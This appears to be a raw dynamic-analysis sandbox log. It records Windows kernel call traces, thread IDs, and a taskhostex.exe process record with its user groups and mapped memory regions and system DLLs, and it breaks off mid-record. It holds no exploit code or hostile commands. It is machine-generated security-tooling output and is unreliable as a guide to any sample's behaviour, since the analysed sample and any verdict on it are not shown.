ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.286] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.287] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.303] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.322] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.341] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.341] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.369] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.370] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.402] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.403] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.433] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.457] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.457] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.561] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.561] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.579] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.580] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.584] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.585] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.077] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.078] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.107] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.107] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.146] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.161] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.177] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.192] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.209] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0162.226] IoGetCurrentProcess () returned 0xffffe000011ff900 [0162.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0162.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0164.003] IoGetCurrentProcess () returned 0xffffe000011ff900 [0164.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0164.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0166.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0166.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0166.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.038] IoGetCurrentProcess () returned 0xffffe000011ff900 [0205.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.038] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0205.038] IoGetCurrentProcess () returned 0xffffe000011ff900 [0205.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.071] IoGetCurrentProcess () returned 0xffffe000011ff900 [0205.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.071] IoGetCurrentProcess () returned 0xffffe000011ff900 [0205.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.071] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0205.073] IoGetCurrentProcess () returned 0xffffe000011ff900 [0205.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0205.073] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0216.784] IoGetCurrentProcess () returned 0xffffe000011ff900 [0216.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0216.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0216.785] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0216.785] IoGetCurrentProcess () returned 0xffffe000011ff900 [0216.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0216.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.785] IoGetCurrentProcess () returned 0xffffe000011ff900 [0276.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0276.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0276.786] IoGetCurrentProcess () returned 0xffffe000011ff900 [0276.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0276.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.596] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.596] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.597] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.600] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.600] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.605] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.605] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.606] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.607] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0300.607] IoGetCurrentProcess () returned 0xffffe000011ff900 [0300.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0300.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) Thread: id = 430 os_tid = 0x480 Thread: id = 431 os_tid = 0x484 Thread: id = 432 os_tid = 0x488 Thread: id = 433 os_tid = 0x490 Thread: id = 437 os_tid = 0x49c Thread: id = 440 os_tid = 0x4a8 Thread: id = 441 os_tid = 0x4ac Thread: id = 442 os_tid = 0x4b0 Thread: id = 443 os_tid = 0x4b4 Thread: id = 444 os_tid = 0x4b8 Thread: id = 448 os_tid = 0x4d0 Thread: id = 449 os_tid = 0x4d4 Thread: id = 450 os_tid = 0x4d8 Thread: id = 451 os_tid = 0x4dc Thread: id = 457 os_tid = 0x4f4 Thread: id = 459 os_tid = 0x504 Thread: id = 460 os_tid = 0x508 Thread: id = 461 os_tid = 0x50c Thread: id = 462 os_tid = 0x510 Thread: id = 463 os_tid = 0x514 Thread: id = 464 os_tid = 0x518 Thread: id = 465 os_tid = 0x51c Thread: id = 466 os_tid = 0x520 Thread: id = 467 os_tid = 0x524 Thread: id = 469 os_tid = 0x528 Thread: id = 470 os_tid = 0x52c Thread: id = 471 os_tid = 0x530 Thread: id = 472 os_tid = 0x534 Thread: id = 473 os_tid = 0x538 Thread: id = 474 os_tid = 0x53c Thread: id = 475 os_tid = 0x540 Thread: id = 476 os_tid = 0x544 Thread: id = 477 os_tid = 0x548 Thread: id = 478 os_tid = 0x54c Thread: id = 479 os_tid = 0x550 Thread: id = 480 os_tid = 0x554 Thread: id = 483 os_tid = 0x560 Thread: id = 484 os_tid = 0x564 Thread: id = 485 os_tid = 0x568 Thread: id = 486 os_tid = 0x56c Thread: id = 487 os_tid = 0x570 Thread: id = 489 os_tid = 0x578 Thread: id = 490 os_tid = 0x57c Thread: id = 491 os_tid = 0x580 Thread: id = 492 os_tid = 0x584 Thread: id = 493 os_tid = 0x588 Thread: id = 494 os_tid = 0x58c Thread: id = 495 os_tid = 0x594 Thread: id = 500 os_tid = 0x5a8 Thread: id = 501 os_tid = 0x5ac Thread: id = 502 os_tid = 0x5b0 Thread: id = 511 os_tid = 0x5d4 Thread: id = 512 os_tid = 0x5d8 Thread: id = 516 os_tid = 0x5ec Thread: id = 517 os_tid = 0x5f0 Thread: id = 519 os_tid = 0x5f4 Thread: id = 521 os_tid = 0x614 Thread: id = 526 os_tid = 0x618 Thread: id = 533 os_tid = 0x640 [0086.484] EngAllocMem () returned 0xfffff9014087f820 [0086.484] IoGetCurrentProcess () returned 0xffffe000011ff900 [0086.484] MmMapViewOfSection (in: SectionObject=0xffffc00001a3aa50, Process=0xffffe000011ff900, BaseAddress=0xfffff9014087fb48*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002110f880, ViewSize=0xfffff9014087fb60, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb48*=0xdc50000, SectionOffset=0xffffd0002110f880, ViewSize=0xfffff9014087fb60) returned 0x0 [0086.484] EngCreateBitmap () returned 0x10506d4 [0086.484] EngAssociateSurface () returned 0x1 [0086.484] EngLockSurface () returned 0xfffff901424ed2c8 [0086.484] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001396e70 [0086.484] KeInitializeEvent (in: Event=0xffffe00001396e88, Type=0x1, State=0 | out: Event=0xffffe00001396e88) [0091.043] EngAllocMem () returned 0xfffff90140887ca0 [0091.043] IoGetCurrentProcess () returned 0xffffe000011ff900 [0091.043] MmMapViewOfSection (in: SectionObject=0xffffc00001ab0fc0, Process=0xffffe000011ff900, BaseAddress=0xfffff90140887fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd0002113f880, ViewSize=0xfffff90140887fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90140887fc8*=0x5530000, SectionOffset=0xffffd0002113f880, ViewSize=0xfffff90140887fe0) returned 0x0 [0091.043] EngCreateBitmap () returned 0xc0505b6 [0091.043] EngAssociateSurface () returned 0x1 [0091.043] EngLockSurface () returned 0xfffff901409b6028 [0091.043] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000013a48e0 [0091.043] KeInitializeEvent (in: Event=0xffffe000013a48f8, Type=0x1, State=0 | out: Event=0xffffe000013a48f8) Thread: id = 540 os_tid = 0x648 Thread: id = 542 os_tid = 0x654 Thread: id = 548 os_tid = 0x664 Thread: id = 550 os_tid = 0x668 Thread: id = 556 os_tid = 0x680 Thread: id = 557 os_tid = 0x67c Thread: id = 558 os_tid = 0x684 Thread: id = 561 os_tid = 0x690 Thread: id = 562 os_tid = 0x694 Thread: id = 564 os_tid = 0x69c Thread: id = 565 os_tid = 0x6a0 Thread: id = 568 os_tid = 0x6b0 Thread: id = 705 os_tid = 0x438 Thread: id = 748 os_tid = 0x880 Thread: id = 749 os_tid = 0x884 Thread: id = 750 os_tid = 0x888 Thread: id = 751 os_tid = 0x88c Thread: id = 754 os_tid = 0x89c Thread: id = 959 os_tid = 0x668 Thread: id = 960 os_tid = 0x460 Thread: id = 961 os_tid = 0x45c Thread: id = 967 os_tid = 0x4a0 Process: id = "55" image_name = "taskhostex.exe" filename = "c:\\windows\\system32\\taskhostex.exe" page_root = "0x60e3f000" os_pid = "0x420" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x320" cmd_line = "taskhostex.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4794 start_va = 0x2a6c750000 end_va = 0x2a6c76ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6c750000" filename = "" Region: id = 4795 start_va = 0x2a6c770000 end_va = 0x2a6c77efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6c770000" filename = "" Region: id = 4796 start_va = 0x2a6c780000 end_va = 0x2a6c7fffff entry_point = 0x0 region_type = private name = "private_0x0000002a6c780000" filename = "" Region: id = 4797 start_va = 0x2a6c800000 end_va = 0x2a6c803fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6c800000" filename = "" Region: id = 4798 start_va = 0x7ff755530000 end_va = 0x7ff755552fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755530000" filename = "" Region: id = 4799 start_va = 0x7ff75555c000 end_va = 0x7ff75555cfff entry_point = 0x0 region_type = private name = "private_0x00007ff75555c000" filename = "" Region: id = 4800 start_va = 0x7ff75555e000 end_va = 0x7ff75555ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75555e000" filename = "" Region: id = 4801 start_va = 0x7ff755c10000 end_va = 0x7ff755c24fff entry_point = 0x7ff755c10000 region_type = mapped_file name = "taskhostex.exe" filename = "\\Windows\\System32\\taskhostex.exe" (normalized: "c:\\windows\\system32\\taskhostex.exe") Region: id = 4802 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4803 start_va = 0x2a6c810000 end_va = 0x2a6c810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6c810000" filename = "" Region: id = 4804 start_va = 0x2a6c820000 end_va = 0x2a6c821fff entry_point = 0x0 region_type = private name = "private_0x0000002a6c820000" filename = "" Region: id = 4824 start_va = 0x2a6c950000 end_va = 0x2a6ca4ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6c950000" filename = "" Region: id = 4825 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4826 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4827 start_va = 0x2a6c750000 end_va = 0x2a6c75ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6c750000" filename = "" Region: id = 4828 start_va = 0x7ff755430000 end_va = 0x7ff75552ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755430000" filename = "" Region: id = 4829 start_va = 0x2a6c830000 end_va = 0x2a6c8adfff entry_point = 0x2a6c830000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4830 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4831 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4832 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4833 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4834 start_va = 0x2a6ca50000 end_va = 0x2a6cbeffff entry_point = 0x0 region_type = private name = "private_0x0000002a6ca50000" filename = "" Region: id = 4835 start_va = 0x2a6c760000 end_va = 0x2a6c766fff entry_point = 0x0 region_type = private name = "private_0x0000002a6c760000" filename = "" Region: id = 4836 start_va = 0x2a6ca50000 end_va = 0x2a6cbc6fff entry_point = 0x2a6ca510b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4837 start_va = 0x2a6cbe0000 end_va = 0x2a6cbeffff entry_point = 0x0 region_type = private name = "private_0x0000002a6cbe0000" filename = "" Region: id = 4838 start_va = 0x2a6ca50000 end_va = 0x2a6cb09fff entry_point = 0x2a6ca7c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4839 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4840 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4841 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4842 start_va = 0x2a6c8b0000 end_va = 0x2a6c8b6fff entry_point = 0x0 region_type = private name = "private_0x0000002a6c8b0000" filename = "" Region: id = 4866 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4878 start_va = 0x2a6c8c0000 end_va = 0x2a6c93ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6c8c0000" filename = "" Region: id = 4879 start_va = 0x7ff75555a000 end_va = 0x7ff75555bfff entry_point = 0x0 region_type = private name = "private_0x00007ff75555a000" filename = "" Region: id = 4880 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4881 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4882 start_va = 0x2a6ca50000 end_va = 0x2a6cbd7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6ca50000" filename = "" Region: id = 4883 start_va = 0x2a6cbf0000 end_va = 0x2a6cc23fff entry_point = 0x2a6cbf1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4884 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4885 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4886 start_va = 0x2a6cbf0000 end_va = 0x2a6cd70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6cbf0000" filename = "" Region: id = 4887 start_va = 0x2a6cd80000 end_va = 0x2a6e17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6cd80000" filename = "" Region: id = 4888 start_va = 0x2a6c940000 end_va = 0x2a6c942fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6c940000" filename = "" Region: id = 4889 start_va = 0x2a6e180000 end_va = 0x2a6e180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e180000" filename = "" Region: id = 4890 start_va = 0x2a6e190000 end_va = 0x2a6e190fff entry_point = 0x2a6e190000 region_type = mapped_file name = "taskhostex.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhostex.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhostex.exe.mui") Region: id = 4891 start_va = 0x2a6e1a0000 end_va = 0x2a6e1a0fff entry_point = 0x0 region_type = private name = "private_0x0000002a6e1a0000" filename = "" Region: id = 4892 start_va = 0x2a6e1b0000 end_va = 0x2a6e1b0fff entry_point = 0x0 region_type = private name = "private_0x0000002a6e1b0000" filename = "" Region: id = 4893 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4894 start_va = 0x2a6e1c0000 end_va = 0x2a6e24ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e1c0000" filename = "" Region: id = 4950 start_va = 0x2a6e1c0000 end_va = 0x2a6e1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e1c0000" filename = "" Region: id = 4951 start_va = 0x2a6e240000 end_va = 0x2a6e24ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e240000" filename = "" Region: id = 4952 start_va = 0x2a6e250000 end_va = 0x2a6e33ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e250000" filename = "" Region: id = 4953 start_va = 0x2a6e1c0000 end_va = 0x2a6e1c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e1c0000" filename = "" Region: id = 4954 start_va = 0x2a6e1d0000 end_va = 0x2a6e1d6fff entry_point = 0x0 region_type = private name = "private_0x0000002a6e1d0000" filename = "" Region: id = 4955 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5011 start_va = 0x2a6e340000 end_va = 0x2a6e3bffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e340000" filename = "" Region: id = 5012 start_va = 0x7ff755558000 end_va = 0x7ff755559fff entry_point = 0x0 region_type = private name = "private_0x00007ff755558000" filename = "" Region: id = 5013 start_va = 0x2a6e3c0000 end_va = 0x2a6e43ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e3c0000" filename = "" Region: id = 5014 start_va = 0x2a6e440000 end_va = 0x2a6e4bffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e440000" filename = "" Region: id = 5015 start_va = 0x7ff755554000 end_va = 0x7ff755555fff entry_point = 0x0 region_type = private name = "private_0x00007ff755554000" filename = "" Region: id = 5016 start_va = 0x7ff755556000 end_va = 0x7ff755557fff entry_point = 0x0 region_type = private name = "private_0x00007ff755556000" filename = "" Region: id = 5017 start_va = 0x2a6e1e0000 end_va = 0x2a6e1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e1e0000" filename = "" Region: id = 5018 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5019 start_va = 0x2a6e1f0000 end_va = 0x2a6e1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e1f0000" filename = "" Region: id = 5020 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 5021 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 5022 